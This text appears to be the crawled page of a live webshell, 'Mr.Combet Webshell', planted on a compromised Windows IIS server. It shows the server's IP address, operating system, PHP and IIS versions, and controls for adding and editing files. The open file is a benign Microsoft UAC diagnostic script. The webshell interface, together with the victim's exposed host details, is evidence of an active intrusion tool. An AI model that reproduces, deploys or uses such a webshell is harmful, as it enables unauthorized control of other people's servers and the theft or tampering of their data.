Mr.Combet Webshell 🔥

Mr.Combet Webshell

Your IP : 216.73.216.136

Server IP : 103.233.58.157

Server : Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64

Server Software : Microsoft-IIS/10.0

PHP Version : 7.3.25

Add File : Submit

Add Directory : Submit

Dir : C:/Windows/diagnostics/system/Apps/

Edit File Name : RC_UAC.ps1

# Copyright © 2016, Microsoft Corporation. All rights reserved.
# :: ======================================================= ::

#====================================================================================
# Main
#====================================================================================
$uacConsent = $false
$detected = $false

$uacAdminValue = Get-ItemProperty 'registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'ConsentPromptBehaviorAdmin' -ErrorAction SilentlyContinue
$uacSecureDesktopValue = Get-ItemProperty 'registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'PromptOnSecureDesktop' -ErrorAction SilentlyContinue
$uacEnableLUAValue = Get-ItemProperty 'registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'EnableLUA' -ErrorAction SilentlyContinue

# Check for the ConsentPromptBehaviorAdmin value
if(($uacAdminValue.ConsentPromptBehaviorAdmin -eq 0) `
	-or ($uacSecureDesktopValue.PromptOnSecureDesktop -eq 0) `
	-or ($uacEnableLUAValue.EnableLUA -eq 0))
{
	$detected = $true
	$result = Get-DiagInput -Id 'INT_ENABLEUAC'
	if($result -eq 'Y')
	{
		$uacConsent = $true
	}
}

$uacReturned = @{}
$uacReturned = @{'uacConsent' = $uacConsent; 'rcDetected' = $detected}

Update-DiagRootCause -Id 'RC_UAC' -Detected $detected -Parameter @{'uacConsent' = $uacConsent}

return $uacReturned